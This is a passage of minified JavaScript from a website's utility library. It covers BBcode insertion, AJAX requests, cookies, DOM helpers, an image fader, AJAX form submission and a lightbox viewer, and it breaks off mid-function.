function BBcode(){}BBcode.prototype.selectedElement=false;BBcode.prototype.selectElement=function(a){this.selectedElement=labsElement.get(a)};BBcode.prototype.insertText=function(d,a){d=(d==undefined?"":d);a=(a==undefined?"":a);if(this.selectedElement!=false){if(document.selection&&document.selection.createRange){this.selectedElement.focus();sel=document.selection.createRange();sel.text=d+sel.text+a;this.selectedElement.focus()}else{if(this.selectedElement.selectionStart||this.selectedElement.selectionStart=="0"){var c=this.selectedElement.selectionStart;var b=this.selectedElement.selectionEnd;this.selectedElement.value=this.selectedElement.value.substring(0,c)+d+this.selectedElement.value.substring(c,b)+a+this.selectedElement.value.substring(b,this.selectedElement.value.length);this.selectedElement.selectionStart=this.selectedElement.selectionEnd=b+d.length+a.length;this.selectedElement.focus()}else{this.selectedElement.value+=d+a;this.selectedElement.focus()}}}};var BBcode=new BBcode();
function labsAjax(){}labsAjax.prototype.lastMessage=new Array();labsAjax.prototype.msgTimeout=5000;labsAjax.prototype.getXmlHttp=function(){var b=false;try{b=new ActiveXObject("Msxml2.XMLHTTP")}catch(c){try{b=new ActiveXObject("Microsoft.XMLHTTP")}catch(a){b=null}}if(!b&&typeof XMLHttpRequest!=undefined){b=new XMLHttpRequest()}return b};labsAjax.prototype.formatUrl=function(b,a,d){a=a||false;var g=b;var f="";var h=b.indexOf("?");if(h!=-1){g=b.substring(0,h);f=b.substring(h+1,b.length);var e=new RegExp("&amp;");f=f.replace(e,"&")}if(a==false){var e=new RegExp("_ajxT=.*?($|&)");var c=new Date();c=c.getTime();f=f.replace(e,"");f=f!=""?f+"&_ajxT="+c:"_ajxT="+c}if(d!=undefined){return new Array(g,f)}return f!=""?g+"?"+f:g};labsAjax.prototype.get=function(c,f,e,a){var d=this.getXmlHttp();var b=this.formatUrl(c,a);d.onreadystatechange=function(){if(d.readyState==4){if(f!=undefined){e=(e==undefined?new Array():e);var g=d.responseText;if(d.status!=200&&d.status!=304){g=false}f(e,g,d.status,c)}}};
d.open("GET",b,true);d.send(null)};labsAjax.prototype.post=function(c,f,e,a){var d=this.getXmlHttp();var b=this.formatUrl(c,a,true);d.onreadystatechange=function(){if(d.readyState==4){if(f!=undefined){e=(e==undefined?new Array():e);var g=d.responseText;if(d.status!=200&&d.status!=304){g=false}f(e,g,d.status,c)}}};d.open("POST",b[0],true);d.setRequestHeader("Content-Type","application/x-www-form-urlencoded");d.setRequestHeader("Content-Length",b[1].length);d.setRequestHeader("Connection","close");d.send(b[1])};labsAjax.prototype.postUpdate=function(a,b){this.message(b,"load");this.post(a,function(d,c){labsAjax.postHandler(d,c)},b)};labsAjax.prototype.postHandler=function(f,b,e,a){var c=new RegExp("^error:(.+)$");var d=b.match(c);if(d==null){c=new RegExp("^url:(.*?)$");d=b.match(c);if(d!=null){document.location.href=d[1];return false}this.message(f,b,e,a)}else{this.message(f,d[1],e,a)}return true};labsAjax.prototype.message=function(h,c,g,b){var a=true;var f=c;if(typeof(f)=="string"&&f.indexOf(",")!=-1&&f.indexOf(",")<20){f=f.substring(0,f.indexOf(","))
}var d=labsElement.get(h+"-"+f);if(d==null){if(f=="load"){return false}d=labsElement.get(h+"-def");if(d==null){alert(f);return false}labsElement.setValue(d,"Error: "+f.replace(/<.*?>/g," ").replace(/(<|>)/g,"").replace(/\n/g,"<br/>"));f="def"}if(f=="load"){d.className=""}else{if(d.className==""){if(parseInt(f)==f){if(parseInt(f)%2==1){d.className="error"}else{d.className="confirm"}}else{d.className="error"}}}if(this.lastMessage[h]!=undefined){window.clearTimeout(this.lastMessage[h].t);labsElement.forceDisplayStyle(false,[h+"-"+this.lastMessage[h].id])}if(d.className=="confirm"){if(typeof(g)=="function"){a=g(c,h)}}else{if(typeof(b)=="function"){a=b(c,h)}}if(a==false){return true}labsElement.forceDisplayStyle(true,[h+"-"+f]);this.lastMessage[h]={id:f,t:window.setTimeout(function(){if(f!="def"&&f!="load"){labsElement.forceDisplayStyle(false,[h+"-"+f])}},this.msgTimeout)};return true};labsAjax.prototype.updateInnerHtml=function(b,c,f,a){f=f||false;var d=labsElement.get(c);if(d==null){return false
}this.get(b,function(h,g){if(g!=false){labsElement.setValue(h,g)}if(f!=false){f(h,g)}},d,a);return true};labsAjax.prototype.safariFix=function(){if(navigator.userAgent.indexOf("AppleWebKit")!=-1){var a=this.getXmlHttp();a.open("GET","/scripts/close.php",false);a.send(null)}};var labsAjax=new labsAjax();function labsCookie(){}labsCookie.prototype.create=function(c,d,f,e){var a="";if(f!=undefined&&f!=0){var b=new Date();if(f<0){b.setTime(0)}else{b.setTime(b.getTime()+Math.ceil(f*86400*1000))}a="; expires="+b.toGMTString()}e=e||"/";document.cookie=c+"="+encodeURIComponent(d)+a+"; path="+e};labsCookie.prototype.read=function(b){var d=b+"=";var a=document.cookie.split(";");for(var c in a){a[c]=a[c].replace(/^ +/,"");if(a[c].indexOf(d)==0){return decodeURIComponent(a[c].substring(d.length,a[c].length))}}return null};labsCookie.prototype.erase=function(a,b){this.create(a,"",-1,b)};var labsCookie=new labsCookie();function labsDefer(){}labsDefer.prototype.elements=new Array();labsDefer.prototype.add=function(a){this.elements[this.elements.length]=a
};labsDefer.prototype.run=function(){var b=0;for(var a in this.elements){b=this.elements[a];document.getElementById(b).style.width="";document.getElementById(b).style.height="";document.getElementById(b).innerHTML=labsString.removeScript(document.getElementById(b+"Src").innerHTML)}};var labsDefer=new labsDefer();function labsDocument(){}labsDocument.prototype.redirectUrl="";labsDocument.prototype.redirectTimeout=500;labsDocument.prototype.getClientSize=function(){return new Array((document.documentElement&&document.documentElement.clientWidth)||window.innerWidth||self.innerWidth||document.body.clientWidth,(document.documentElement&&document.documentElement.clientHeight)||window.innerHeight||self.innerHeight||document.body.clientHeight)};labsDocument.prototype.getScrollPosition=function(){return new Array((document.documentElement&&document.documentElement.scrollLeft)||window.pageXOffset||self.pageXOffset||document.body.scrollLeft,(document.documentElement&&document.documentElement.scrollTop)||window.pageYOffset||self.pageYOffset||document.body.scrollTop)
};labsDocument.prototype.getDocumentSize=function(){return new Array((document.documentElement&&document.documentElement.scrollWidth)?document.documentElement.scrollWidth:(document.body.scrollWidth>document.body.offsetWidth)?document.body.scrollWidth:document.body.offsetWidth,(document.documentElement&&document.documentElement.scrollHeight)?document.documentElement.scrollHeight:(document.body.scrollHeight>document.body.offsetHeight)?document.body.scrollHeight:document.body.offsetHeight)};labsDocument.prototype.getMousePosition=function(b){var c=b||window.event;var a=this.getScrollPosition();return new Array(c.clientX+a[0]-document.body.clientLeft,c.clientY+a[1]-document.body.clientTop)};var labsDocument=new labsDocument();function labsElement(){}labsElement.prototype.resized=false;labsElement.prototype.get=function(a){var b;if(typeof(a)!="object"){if(a==""){return null}return document.getElementById(a)}return a};labsElement.prototype.update=function(b,a){this.get(b).innerHTML=a};labsElement.prototype.setAlpha=function(a,c){var b=this.get(a);
if(b!=null){b.style.opacity=(c/100);b.style.MozOpacity=(c/100);b.style.KhtmlOpacity=(c/100);b.style.filter="alpha(opacity="+c+")"}};labsElement.prototype.getDefaultDisplayStyle=function(b,a){a=a||false;var c=this.get(b);switch(c.tagName){case"DIV":case"P":return"block";break;case"TR":return"table-row";break;case"TD":return"table-cell";break}if(a==false){return"inline"}else{return"inline-block"}};labsElement.prototype.switchDisplayStyle=function(a){var b=this.get(a);if(b!=null){b.style.display=b.style.display=="none"?"":"none"}};labsElement.prototype.setDisplayStyle=function(a,b){var c=this.get(a);if(c!=null){c.style.display=b}};labsElement.prototype.forceDisplayStyle=function(c,b,f,a){var d;if(typeof(b)=="string"){b=[b]}if(f==undefined){f=new Array()}else{if(typeof(f)=="string"){f=[f]}}if(c==false){d=b;b=f;f=d}for(var e in b){d=this.get(b[e]);if(d!=null){d.style.display=this.getDefaultDisplayStyle(b[e],a)}}for(var e in f){d=this.get(f[e]);if(d!=null){d.style.display="none"}}};labsElement.prototype.getValue=function(a){var b=this.get(a);
if(b==null){return null}if(b.tagName.toLowerCase()=="select"){return this.getSelectValue(b)}if((b.type=="radio"||b.type=="checkbox")&&b.checked==false){return false}if(b.value==undefined){return b.innerHTML}return b.value};labsElement.prototype.getSelectValue=function(b){var d=this.get(b);if(d.multiple==false){if(d.selectedIndex==-1){return false}return d.options[d.selectedIndex].value}var a=new Array();for(var c=0;c<d.options.length;c++){if(d.options[c].selected==true){a[a.length]=d.options[c].value}}return a};labsElement.prototype.getSelectText=function(b){var d=this.get(b);if(d.multiple==false){if(d.selectedIndex==-1){return false}return d.options[d.selectedIndex].text}var a=new Array();for(var c=0;c<d.options.length;c++){if(d.options[c].selected==true){a[a.length]=d.options[c].text}}return a};labsElement.prototype.setValue=function(a,b){var c=this.get(a);if(c==null){return null}if(c.tagName.toLowerCase()=="select"){return this.setSelectValue(c,b)}if(c.type=="radio"||c.type=="checkbox"){c.checked=(b==true);
return true}if(c.value==undefined){if(c.innerHTML==""||c.innerHTML!=b){c.innerHTML=b}return true}c.value=b;return true};labsElement.prototype.setSelectValue=function(a,d){var c=this.get(a);if(c.multiple==false){for(var b=0;b<c.options.length;b++){if(c.options[b].value==d){c.selectedIndex=b;return true}}return false}return false};labsElement.prototype.getLabel=function(a){var d=this.get(a);if(d==null){d=this.get(a+"-01");for(var e=1;d!=null;e++){var b=a+"-"+(e<10?"0"+e:e);d=this.get(b);if(d.checked==true){return this.getLabel(b+"-label")}}return null}switch(d.tagName.toLowerCase()){case"select":return{l:this.getSelectText(d),v:this.getValue(d)};case"label":return{l:d.innerHTML,v:this.getValue(d.htmlFor)};case"input":if(d.value==""){return null}var c=this.get(a+"-label");if(c!=null){return{l:c.innerHTML,v:d.value}}return{l:d.value,v:d.value}}return null};labsElement.prototype.resizeInput=function(a){if(this.resized!=false&&this.resized!=a){if(this.resized.tagName=="TEXTAREA"){this.resized.rows=Math.min(1,Math.max(1,Math.floor(this.resized.value.length/50)))
}else{this.resized.style.width="100px"}}this.resized=a;if(a.tagName=="TEXTAREA"){if(a.scrollHeight!=undefined&&a.offsetHeight!=undefined){while(a.scrollHeight>a.offsetHeight&&a.rows<1000){a.rows+=Math.floor(Math.max(1,(a.scrollHeight-a.offsetHeight)/20))}}}else{if(a.offsetParent.offsetWidth!=undefined){a.style.width=Math.max(100,Math.min(a.offsetParent.offsetWidth,a.value.length*8))+"px"}}};labsElement.prototype.addEvent=function(c,a,b){var d=this.get(c);if(d.addEventListener){d.addEventListener(a,b,false)}else{if(c.attachEvent){d.attachEvent("on"+a,b)}}};labsElement.prototype.getPosition=function(a){var d=0;var c=0;var b=this.get(a);if(b==null){return Array(0,0)}while(b.offsetParent!=undefined&&b.offsetParent!=null){d+=b.offsetLeft+(b.clientLeft!=null?b.clientLeft:0);c+=b.offsetTop+(b.clientTop!=null?b.clientTop:0);b=b.offsetParent}return new Array(d,c)};labsElement.prototype.morphDiv=function(b,a,c){if(c==undefined){c=100}this.setAlpha(b,100-c);this.setAlpha(a,c);this.get(b).style.display=this.getDefaultDisplayStyle(b);
if(c>0){c-=10;setTimeout('labsElement.morphDiv("'+b+'", "'+a+'", '+c+");",50)}else{this.get(a).style.display="none"}};labsElement.prototype.fadeIn=function(a,c,b){if(c==undefined){c=100}if(b==undefined){b=0}this.setAlpha(a,100-c);if(c>b){c-=10;setTimeout('labsElement.fadeIn("'+a+'",'+c+","+b+")",50)}};labsElement.prototype.fadeOut=function(a,d,c,b){if(d==undefined){d=100}if(c==undefined){c=0}if(b==undefined){b=false}this.setAlpha(a,d);if(d>c){d-=10;setTimeout('labsElement.fadeOut("'+a+'",'+d+","+c+","+b+")",50)}else{if(b==true){labsElement.get(a).style.display="none"}}};labsElement.prototype.displayClass=function(a,e){var d=labsElement.get(a);var b;if(d.cells!=undefined){b=d.cells}else{if(d.rows!=undefined){b=d.rows}else{if(d.childNodes!=undefined){b=d.childNodes}else{b=new Array()}}}for(var c=0;c<b.length;c++){if(b[c].tagName!=undefined){labsElement.displayClass(b[c],e);if(b[c].className==e){b[c].style.display=labsElement.getDefaultDisplayStyle(b[c])}}}};labsElement.prototype.getChildNodes=function(d){var c=labsElement.get(d);
if(c==null){return new Array()}if(c.cells!=undefined){return c.cells}if(c.rows!=undefined){return c.rows}var a=new Array();if(c.childNodes!=undefined){for(var b=0;b<c.childNodes.length;b++){if(c.childNodes[b].tagName!=undefined){a[a.length]=c.childNodes[b]}}}return a};labsElement.prototype.addClass=function(b,d){b=this.get(b);if(b==null){return false}if(b.className==""){b.className=d;return true}var a=b.className.split(" ");for(var e in a){if(a[e]==d){return true}}b.className+=" "+d;return true};labsElement.prototype.removeClass=function(b,d){b=this.get(b);if(b==null){return false}if(b.className==d){b.className="";return true}var a=b.className.split(" ");var e="";for(var f in a){if(a[f]!=d){e+=" "+a[f]}}b.className=e;return true};labsElement.prototype.getStyle=function(a,b){a=labsElement.get(a);if(a==null){return false}if(a.currentStyle!=undefined){return a.currentStyle[b]}if(window.getComputedStyle!=undefined){return document.defaultView.getComputedStyle(a,null).getPropertyValue(b)}if(a.style[b]!=undefined){return a.style[b]
}return false};labsElement.prototype.getTableBody=function(d){var a=this.get(d);for(var c=0;c<a.childNodes.length;c++){if(a.childNodes[c].tagName=="TBODY"){a=a.childNodes[c];c=a.childNodes.length}}if(a.tagName==="TABLE"){var b=document.createElement("TBODY");a.appendChild(b);a=b}return a};var labsElement=new labsElement();function labsEmbed(){}labsEmbed.prototype.get=function(c,b,a){return'<object type="application/x-shockwave-flash" data="'+c+'" width="'+b+'" height="'+a+'"><param name="movie" value="'+c+'"/><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/></object>'};var labsEmbed=new labsEmbed();function labsFader(){}labsFader.prototype.node=new Array();labsFader.prototype.nodes=new Array();labsFader.prototype.current=new Array();labsFader.prototype.alpha=new Array();labsFader.prototype.play=new Array();labsFader.prototype.callback=new Array();labsFader.prototype.playTempo=3000;labsFader.prototype.fadeTempo=50;labsFader.prototype.fadeStep=5;
labsFader.prototype.init=function(d,c){if(labsElement.get(d)==null){return false}var a=labsElement.getChildNodes(d);if(a.length!=1){return false}if(c===undefined){var c=0}this.node[d]=a[0];a=labsElement.getChildNodes(a[0]);if(a.length<1){return false}this.nodes[d]=a;this.alpha[d]=0;this.play[d]=false;this.current[d]=c;if(c>0){this.nodes[d][0].style.display="none";this.nodes[d][c].style.display=""}for(var b=0;b<a.length;b++){this.nodes[d][b].style.position="absolute"}this.node[d].style.width=this.nodes[d][c].offsetWidth+"px";this.node[d].style.height=this.nodes[d][c].offsetHeight+"px";this.node[d].style.overflow="hidden";this.node[d].style.position="relative"};labsFader.prototype.getId=function(c,a){var b=this.current[c];if(a==true||a==undefined){return(b+1)%this.nodes[c].length}return b>0?(b-1)%this.nodes[c].length:this.nodes[c].length-1};labsFader.prototype.fade=function(e,b,d,a){var c=this.current[e];if(d==undefined){d=true}if(a==undefined){a=false}if(d===true){this.pause(e)}if(b==undefined||typeof b=="boolean"){b=this.getId(e,b)
}else{if(c==b){return true}}if(this.nodes[e][b]==undefined){alert('labsFader undefined : "'+b+'" for '+e);return false}if(a==false&&this.alpha[e]>0){this.alpha[e]=100-this.fadeStep}labsElement.setAlpha(this.nodes[e][c],100-this.alpha[e]);labsElement.setAlpha(this.nodes[e][b],this.alpha[e]);if(this.alpha[e]==0){this.nodes[e][b].style.display="";if(labsFader.nodes[e][b].offsetWidth!=0){this.node[e].style.width=labsFader.nodes[e][b].offsetWidth+"px";this.node[e].style.height=labsFader.nodes[e][b].offsetHeight+"px"}}this.alpha[e]=this.alpha[e]+this.fadeStep;if(this.alpha[e]<101){window.setTimeout(function(){labsFader.fade(e,b,d,true)},this.fadeTempo)}else{this.nodes[e][c].style.display="none";labsElement.setAlpha(this.nodes[e][c],100);this.alpha[e]=0;this.current[e]=b;if(this.callback[e]!=undefined){this.callback[e](this.current[e])}if(this.play[e]!=false){this.play[e]=window.setTimeout(function(){labsFader.fade(e,true,false)},labsFader.playTempo)}}};labsFader.prototype.play=function(a){if(this.nodes[a].length>1&&this.play[a]==false){this.play[a]=true;
labsFader.fade(a,true,false)}};labsFader.prototype.pause=function(a){window.clearTimeout(this.play[a]);this.play[a]=false};var labsFader=new labsFader();function labsForm(){}labsForm.prototype.inProgress=false;labsForm.prototype.validCB=false;labsForm.prototype.errorCB=false;labsForm.prototype.qs=new Array();labsForm.prototype.getQueryString=function(f){var e=labsElement.get(f);if(e==undefined||e.tagName&&e.tagName.toLowerCase()!="form"){return false}var g="";var a;var d;for(var c=0;c<e.elements.length;c++){d=e.elements[c];if(d.name!=undefined&&d.name!=""){if(d.type=="file"){return false}a=labsElement.getValue(d);if(typeof(a)=="object"){for(var b in a){g+=d.name+"="+encodeURIComponent(a[b])+"&"}}else{if(typeof(a)!="boolean"){g+=d.name+"="+encodeURIComponent(a)+"&"}}}}return g};labsForm.prototype.reset=function(d){var c=labsElement.get(d);if(c==undefined||c.tagName.toLowerCase()!="form"){return false}var b;for(var a=0;a<c.elements.length;a++){b=c.elements[a];if(b.name!=undefined&&b.name!=""){if(b.tagName=="SELECT"){b.selectedIndex=0
}else{if(b.tagName=="TEXTAREA"||b.tagName=="INPUT"&&b.type=="text"){b.value=""}}}}return true};labsForm.prototype.post=function(c,d,b){c=labsElement.get(c);if(c.action==""||typeof(c.id)!="string"||this.inProgress==true||typeof(c.action)!="string"){return false}this.validCB=d||false;this.errorCB=b||false;this.inProgress=true;labsAjax.message(c.id,"load");var a=this.getQueryString(c);this.qs[c.id]=a;if(a==false){return true}labsAjax.post(c.action+"?"+a+"&isAjax=1",function(f,e,g){labsForm.postHandler(f,e,g)},c.id);return false};labsForm.prototype.postHandler=function(f,c,e){this.inProgress=false;if(c===false){if(e==401){c="error:307"}else{c="error:code "+e}}else{if(c.substring(0,6)=="error:"){var d=c.substring(6,9);if(labsElement.get(f+"-"+d)!=null){var b=c.substring(9);if(labsElement.get(b)!=null){var a=labsElement.get(b).style.border;labsElement.get(b).style.border="2px solid red";window.setTimeout(function(){labsElement.get(b).style.border=a},500);window.setTimeout(function(){labsElement.get(b).style.border="2px solid red"
},1000);window.setTimeout(function(){labsElement.get(b).style.border=a},1500)}c=d}}}labsAjax.postHandler(f,c,this.validCB,this.errorCB);this.validCB=false;this.errorCB=false;return true};labsForm.prototype.protect=function(b,a){this.qs[b]=this.getQueryString(b);addEvtListener(window,"beforeunload",function(c){if(labsForm.qs[b]==labsForm.getQueryString(b)){return null}try{c.returnValue=a}catch(c){}return a})};var labsForm=new labsForm();function labsLightBox(){if(this.loadingImgSrc!=""){var a=this.loadingImgSrc;this.loadingImgSrc=new Image();this.loadingImgSrc.src=a}}labsLightBox.prototype.bg=false;labsLightBox.prototype.title=false;labsLightBox.prototype.preloadImage=false;labsLightBox.prototype.content=false;labsLightBox.prototype.width=0;labsLightBox.prototype.height=0;labsLightBox.prototype.xmlHttp=false;labsLightBox.prototype.timerOut=false;labsLightBox.prototype.timerInterval=false;labsLightBox.prototype.xmlUrl="";labsLightBox.prototype.closeImg=false;labsLightBox.prototype.closeLink=false;
labsLightBox.prototype.transparentImg=false;labsLightBox.prototype.loadingImg=false;labsLightBox.prototype.titleHeight=24;labsLightBox.prototype.zoomMargin=10;labsLightBox.prototype.timeout=30000;labsLightBox.prototype.hiddenElements=false;labsLightBox.prototype.hiddenElementsStatus="visible";labsLightBox.prototype.flvPlayer="/static/img/player.swf";labsLightBox.prototype.closeImgSrc="/static/img/close.png";labsLightBox.prototype.loadingImgSrc="/static/img/loading.gif";labsLightBox.prototype.transparentImg="/static/img/spacer.gif";labsLightBox.prototype.zIndex=9999;labsLightBox.prototype.imgSize=new Array(0,0);labsLightBox.prototype.switchHiddenElements=function(){this.hiddenElementsStatus=this.hiddenElementsStatus=="visible"?"hidden":"visible";var b=new Array("OBJECT","SELECT","IFRAME");if(this.hiddenElements==false){this.hiddenElements=new Array();var d=new Array();for(var a=0;a<b.length;a++){d=document.getElementsByTagName(b[a]);for(var c=0;c<d.length;c++){if(d[c].style.visibility!="hidden"){this.hiddenElements[this.hiddenElements.length]=d[c]
}}}}for(var c=0;c<this.hiddenElements.length;c++){this.hiddenElements[c].style.visibility=this.hiddenElementsStatus}};labsLightBox.prototype.open=function(t,n,b,k,j,h){this.closeImg=new Image();this.closeImg.src=this.closeImgSrc;var r=false;if(this.content==false){r=document.createElement("div");r.innerHTML="Loading";r.style.width="100px";r.style.height=this.titleHeight+"px";r.style.backgroundColor="red";r.style.color="white";r.style.lineHeight=this.titleHeight+"px";r.style.fontWeight="bold";r.style.textAlign="center";r.style.visibility="hidden";r.style.position="absolute";r.style.margin="0";r.style.padding="0";document.body.insertBefore(r,document.body.firstChild);this.loadingImg=r;if(typeof(this.transparentImg)=="string"&&this.transparentImg!=""){r=document.createElement("img");r.setAttribute("src",this.transparentImg);r.style.visibility="hidden";r.style.position="absolute";r.style.margin="0";r.style.padding="0";document.body.insertBefore(r,document.body.firstChild);this.transparentImg=r
}else{this.transparentImg=false}this.content=document.createElement("div");this.content.style.visibility="hidden";this.content.style.margin="0";this.content.style.padding="0";document.body.insertBefore(this.content,document.body.firstChild);this.closeLink=document.createElement("a");this.closeLink.setAttribute("href","#");this.closeLink.id="labsLightBoxClose";this.closeLink.style.verticalAlign="middle";this.closeLink.style.visibility="hidden";this.closeLink.style.position="absolute";this.closeLink.style.display="block";this.closeLink.style.overflow="hidden";this.closeLink.style.overflow="hidden";this.closeLink.style.lineHeight=this.titleHeight+"px";this.closeLink.style.textAlign="center";this.closeLink.onclick=function(){labsLightBox.close();return false};this.closeLink.style.width=this.titleHeight+"px";this.closeLink.style.height=this.titleHeight+"px";this.closeLink.style.margin="0";this.closeLink.style.padding="0";this.closeLink.innerHTML='<img src="'+this.closeImg.src+'" alt="X" style="border:0;margin:0;padding:0;vertical-align:middle"/>';
document.body.insertBefore(this.closeLink,document.body.firstChild);this.title=document.createElement("div");this.title.id="lightBoxTitle";this.title.style.visibility="hidden";this.title.style.position="absolute";this.title.style.whiteSpace="nowrap";this.title.style.overflow="hidden";this.title.style.fontSize="12px";this.title.style.lineHeight=this.titleHeight+"px";this.title.style.height=this.titleHeight+"px";this.title.style.margin="0";this.title.style.padding="0";document.body.insertBefore(this.title,document.body.firstChild);this.bg=document.createElement("div");this.bg.id="labsLightBoxBg";this.bg.style.visibility="hidden";this.bg.onclick=function(){labsLightBox.close()};this.bg.style.position="absolute";this.bg.style.top="0px";this.bg.style.left="0px";this.bg.style.margin="0";this.bg.style.padding="0";this.bg.style.backgroundColor="black";labsElement.setAlpha(this.bg,50);document.body.insertBefore(this.bg,document.body.firstChild)}if(typeof(this.loadingImgSrc)!="string"&&this.loadingImgSrc.complete&&this.loadingImg.tagName=="DIV"){r=document.createElement("img");
r.setAttribute("src",this.loadingImgSrc.src);r.style.display="block";r.style.width=this.loadingImgSrc.width+"px";r.style.height=this.loadingImgSrc.height+"px";r.style.visibility="hidden";r.style.position="absolute";document.body.replaceChild(r,this.loadingImg);this.loadingImg=r}this.loading();var p=b;if(p==undefined){p="html"}var o=t;var s=n;if(p=="img"){if(this.preloadImage==false){this.preloadImage=new Image();this.preloadImage.src=s;this.timerOut=setTimeout(function(){labsLightBox.stopLoading();labsLightBox.open("error","img:"+n+" timeout")},this.timeout);this.timerInterval=setInterval(function(){if(labsLightBox.preloadImage.complete==true){labsLightBox.open(t,n,b,k,j,h)}},100);return true}else{if(this.preloadImage.complete==false||this.preloadImage.width==0||this.preloadImage.height==0){p="html";s="img:"+s+" invalid";o="error"}}}var a=h==undefined?true:h;if(k==undefined||j==undefined||k==false||j==false){size=this.getBestSize();this.width=size[0];this.height=size[1]}else{this.width=k;
this.height=j}var l=false;if(p=="iframe"){l=document.createElement("iframe");l.id="labsLightBoxContentIframe";l.style.visibility="hidden";l.style.position="absolute";l.style.backgroundColor="white";l.style.margin="0";l.style.padding="0";l.setAttribute("frameBorder","0");l.setAttribute("src",s);l.setAttribute("scrolling",a?"auto":"no")}else{if(p=="img"){l=document.createElement("img");var d=labsDocument.getClientSize();d[0]=0.9*d[0];d[1]=0.9*d[1];if(d[0]>this.preloadImage.width&&d[1]>this.preloadImage.height){this.width=this.preloadImage.width;this.height=this.preloadImage.height}else{var g=this.preloadImage.width/this.preloadImage.height;if(g>d[0]/d[1]){this.width=Math.min(this.preloadImage.width,d[0]);this.height=Math.min(this.preloadImage.height,Math.floor(d[0]/g))}else{this.width=Math.min(this.preloadImage.width,Math.floor(g*d[1]));this.height=Math.min(this.preloadImage.height,d[1])}}l.setAttribute("src",this.preloadImage.src);this.imgSize[0]=this.preloadImage.width;this.imgSize[1]=this.preloadImage.height
}else{if(p=="flv"||p=="embed"){if(p=="flv"){var m=this.flvPlayer+"?autostart=true&file="+encodeURIComponent(s)}else{var m=n}l=document.createElement("object");var f=document.createElement("param");f.setAttribute("name","movie");f.setAttribute("value",m);l.appendChild(f);var f=document.createElement("param");f.setAttribute("name","allowscriptaccess");f.setAttribute("value","always");l.appendChild(f);p="swf";s=m}else{if(p=="copy"){var q=labsElement.get(s);if(q==null){o="error";s="copy "+s}else{s=q.innerHTML}p="html"}l=document.createElement("div");l.style.overflow=a?"auto":"hidden"}}}l.id="labsLightBoxContent";l.style.visibility="hidden";l.style.position="absolute";l.style.backgroundColor="white";l.style.margin="0";l.style.padding="0";l.style.border="0";document.body.replaceChild(l,this.content);this.content=l;this.title.innerHTML="&nbsp;"+o;this.content.style.width=this.width+"px";this.content.style.height=this.height+"px";this.title.style.width=this.content.style.width;if(p=="html"){this.content.innerHTML=s;
this.display()}else{if(p=="swf"){this.content.setAttribute("data",s);this.content.setAttribute("type","application/x-shockwave-flash");this.content.setAttribute("width",this.width);this.content.setAttribute("height",this.height);this.display()}else{if(p=="ajax"){this.xmlHttp=labsAjax.getXmlHttp();this.timerOut=setTimeout(function(){labsLightBox.open("error","ajax : "+labsLightBox.xmlUrl+" timeout")},this.timeout);this.xmlHttp.onreadystatechange=function(){if(labsLightBox.xmlHttp.readyState==4){var e="ajax: "+labsLightBox.xmlUrl+" failed (status: "+labsLightBox.xmlHttp.status+")";if(labsLightBox.xmlHttp.status==200||labsLightBox.xmlHttp.status==304){e=labsLightBox.xmlHttp.responseText}labsLightBox.content.innerHTML=e;labsLightBox.display()}};var c=labsAjax.formatUrl(s);this.xmlUrl=c;this.xmlHttp.open("GET",c,true);this.xmlHttp.send(null)}else{this.display()}}}};labsLightBox.prototype.loading=function(){if(this.bg.style.visibility=="hidden"){this.switchHiddenElements()}var b=labsDocument.getClientSize();
var c=labsDocument.getDocumentSize();var a=labsDocument.getScrollPosition();this.content.style.visibility="hidden";this.title.style.visibility="hidden";this.closeLink.style.visibility="hidden";this.bg.style.width=Math.max(c[0],b[0])+"px";this.bg.style.height=Math.max(c[1],b[1])+"px";this.bg.style.zIndex=this.zIndex-1;this.bg.style.visibility="visible";this.loadingImg.style.left=(a[0]+Math.floor((b[0]-parseInt(this.loadingImg.style.width))/2))+"px";this.loadingImg.style.top=(a[1]+Math.floor((b[1]-parseInt(this.loadingImg.style.height))/2))+"px";this.bg.style.zIndex=this.zIndex;this.loadingImg.style.visibility="visible"};labsLightBox.prototype.display=function(){this.stopLoading();this.update();this.bg.style.zIndex=this.zIndex-1;this.title.style.zIndex=this.zIndex;this.closeLink.style.zIndex=this.zIndex+1;this.content.style.zIndex=this.zIndex;this.bg.style.visibility="visible";this.title.style.visibility="visible";this.closeLink.style.visibility="visible";this.content.style.visibility="visible";
if(this.content.tagName=="IMG"){if(this.transparentImg!=false){this.transparentImg.style.left=this.content.style.left;this.transparentImg.style.top=this.content.style.top;this.transparentImg.style.width=this.content.style.width;this.transparentImg.style.height=this.content.style.height;this.transparentImg.style.visibility="visible";this.transparentImg.style.zIndex=this.zIndex+2;if(this.imgSize[0]>this.width||this.imgSize[1]>this.height){this.transparentImg.onmouseover=function(){document.body.style.cursor="pointer"};this.transparentImg.onmouseout=function(){document.body.style.cursor="auto"};this.transparentImg.onclick=function(a){labsLightBox.zoomIn(a)}}}else{if(this.imgSize[0]>this.width||this.imgSize[1]>this.height){this.content.onmouseover=function(){document.body.style.cursor="pointer"};this.content.onmouseout=function(){document.body.style.cursor="auto"};this.content.onclick=function(a){labsLightBox.zoomIn(a)}}}}};labsLightBox.prototype.stopLoading=function(){clearTimeout(this.timerOut);
clearInterval(this.timerInterval);this.preloadImage=false;this.loadingImg.style.visibility="hidden";if(typeof(this.xmlHttp)!="boolean"){this.xmlHttp.onreadystatechange=function(){};this.xmlHttp.abort();this.xmlHttp=false}};labsLightBox.prototype.update=function(){var c=labsDocument.getClientSize();var d=labsDocument.getDocumentSize();var b=labsDocument.getScrollPosition();var a=parseInt(this.title.style.height)+this.height;this.bg.style.width=Math.max(d[0],c[0])+"px";this.bg.style.height=Math.max(d[1],c[1])+"px";this.title.style.left=(b[0]+Math.floor((c[0]-this.width)/2))+"px";this.title.style.top=(b[1]+Math.floor((c[1]-a)/2))+"px";this.content.style.left=this.title.style.left;this.content.style.top=(parseInt(this.title.style.height)+b[1]+Math.floor((c[1]-a)/2))+"px";this.closeLink.style.left=(parseInt(this.title.style.left)+this.width-Math.floor(parseInt(this.closeLink.style.width)/2+parseInt(this.title.style.height)/2))+"px";this.closeLink.style.top=(parseInt(this.title.style.top)+Math.floor(parseInt(this.title.style.height)/2-parseInt(this.closeLink.style.height)/2))+"px"
